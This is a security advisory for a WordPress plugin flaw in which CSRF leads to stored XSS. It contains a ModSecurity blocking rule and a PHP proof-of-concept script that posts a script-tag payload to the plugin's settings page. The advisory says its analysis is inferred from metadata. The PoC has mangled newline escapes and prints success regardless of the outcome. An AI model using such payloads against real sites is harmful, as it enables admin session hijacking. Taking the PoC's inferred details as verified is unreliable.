Atomic Edge analysis of CVE-2026-6701 (metadata-based):
This vulnerability affects the addfreespace WordPress plugin, versions 0.1.3 and earlier, and is a Cross-Site Request Forgery (CSRF) issue that leads to Stored Cross-Site Scripting (XSS) via the plugin’s settings page. The CVSS score is 4.3 (low), reflecting the requirement for social engineering (tricking a site administrator) to trigger the attack. Atomic Edge research identifies the vulnerable component as a settings-saving function that lacks proper nonce verification.
Root Cause: The CWE-352 classification and description indicate the plugin’s settings-update function does not include or validate a nonce (number used once) token. In WordPress, any admin-facing form or AJAX handler must check a nonce to verify the request originated from the intended admin user, preventing forged requests. Without this check, an attacker can craft a malicious link that, when clicked by an authenticated administrator, executes unintended actions. The subsequent stored XSS occurs because the plugin fails to sanitize or escape the settings values before storing them in the database. These conclusions are inferred from the CWE and description; no code diff is available for confirmation.
Exploitation: An attacker sends a forged HTTP request (e.g., a POST to the WordPress admin settings page for the plugin) containing malicious JavaScript payloads in parameter fields such as ‘addfreespace_option’. The request is sent to a URL like /wp-admin/options-general.php?page=addfreespace-settings (or a custom admin page). Because the nonce is missing, the server processes the request. The payload is saved to the plugin’s settings (e.g., ‘addfreespace_options’ in the wp_options table). When an administrator later visits the settings page, the unsanitized payload executes as stored XSS. The attack requires tricking an admin into clicking a link (via email, social media, etc.) that triggers the CSRF.
Remediation: The fix must add nonce verification to the settings-saving function. In WordPress, this involves calling wp_verify_nonce() against a nonce field rendered using wp_nonce_field() in the form. Additionally, the plugin must sanitize all settings inputs using functions like sanitize_text_field() or wp_kses(), and escape output using esc_html() or esc_attr() when rendering stored values. Since no patch is available from the developer, users should remove the plugin entirely.
Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript into the WordPress admin dashboard. This can lead to session hijacking, admin credential theft, and further compromise of the WordPress installation via XSS-based privilege escalation. The attacker can also modify plugin settings to cause defacement or redirect site visitors. The need for admin interaction reduces the severity but does not eliminate the risk.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6701 (metadata-based)
# Blocks CSRF to Stored XSS via settings page (form submission without nonce)
SecRule REQUEST_URI "@contains /wp-admin/options-general.php"
"id:20266701,phase:2,deny,status:403,chain,msg:'CVE-2026-6701 via addfreespace settings CSRF -> XSS',severity:'CRITICAL',tag:'CVE-2026-6701'"
SecRule ARGS_GET:page "@streq addfreespace-settings" "chain"
SecRule ARGS_POST:@rx ".*" "chain"
SecRule REQUEST_METHOD "@streq POST"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6701 - addfreespace <= 0.1.3 - Cross-Site Request Forgery to Stored Cross-Site Scripting via Settings Page
<?php
/**
* This PoC demonstrates a CSRF attack that stores XSS payload in plugin settings.
* Assumptions:
* - The plugin registers a settings page under a static slug (e.g., 'addfreespace-settings') accessible via /wp-admin/options-general.php?page=addfreespace-settings
* - The settings are saved via a POST request to the same URL without nonce verification
* - The vulnerable parameter is 'addfreespace_option' (example field)
*
* Execute from command line: php cve_2026_6701_poc.php
*/
// Configure target WordPress site
$target_url = 'http://example.com/wp-admin/options-general.php?page=addfreespace-settings';
// Malicious XSS payload to inject into settings
$xss_payload = '<script>alert("XSS by Atomic Edge");</script>';
// Craft the forged POST request (no nonce)
$post_data = array(
'addfreespace_option' => $xss_payload,
'submit' => 'Save Settings'
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_test_cookie=WP+Cookie+check'); // arbitrary
$response = curl_exec($ch);
if (curl_error($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
echo "[+] CSRF payload sent successfully.n";
echo "[+] If an admin clicks the link, the XSS will be stored.n";
echo "[+] Payload: $xss_payloadn";
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "[+] HTTP response code: $http_coden";
curl_close($ch);
?>
